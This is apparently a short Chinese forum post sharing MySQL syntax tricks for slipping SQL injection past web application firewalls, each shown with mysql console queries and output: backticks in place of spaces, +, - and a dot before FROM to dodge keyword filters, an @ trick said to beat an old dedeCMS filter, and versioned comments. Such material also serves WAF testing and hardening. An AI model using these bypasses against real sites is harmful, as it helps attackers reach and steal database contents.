研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如：/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格和一些正则。
mysql> select`version`();
+———————-+
|
`version`()
|
+———————-+
|
5.1.50-community-log |
+———————-+
1 row in set
(0.00 sec)
一个更好玩的技巧，这个`控制符可以当注释符用（限定条件）。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec)
usage : where id =’0′`’xxxxcomment on.
说明：其实`好像不是注释的作用
tips2:神奇的- + .
mysql> select id from qs_admins;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec) mysql> select+id-1+1.from qs_admins;
+———-+
|
+id-1+1.
|
+———-+
|
1
|
+———-+
1 row in set
(0.00 sec) mysql> select-id-1+3.from qs_admins;
+———-+
|
-id-1+3.
|
+———-+
|
1
|
+———-+
1 row in set
(0.00 sec)
（有些人不是一直在说关键字怎么过？过滤一个from … 就是这样连起来过）
上面的意思是，+、-可以做为连接符，来绕过过滤。
绕过方法是：通过在from之前加.，这样就绕过了过滤from关键字。
注意：字符串通过+、-操作时会自动转换成数字，字符串对应得是首字节对应的值（若首字节是字符则转换为0）；
tips3: @
mysql> select@^1.from qs_admins;
+——|+
|
@^1.
|
+——|+
| NULL |
+——|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4：mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+——|+
| test |
+——|+
|
-1
|
+——|+
1 row in set
(0.00 sec)
tips5: /*![>5000]*/ 新构造 版本号（这个可能有些过时了。）
mysql>
/*!40000select*/ id from qs_admins;
+—-+
| id |
+—-+
|
1
|
+—-+
1 row in set
(0.00 sec)
先分享这么多，哈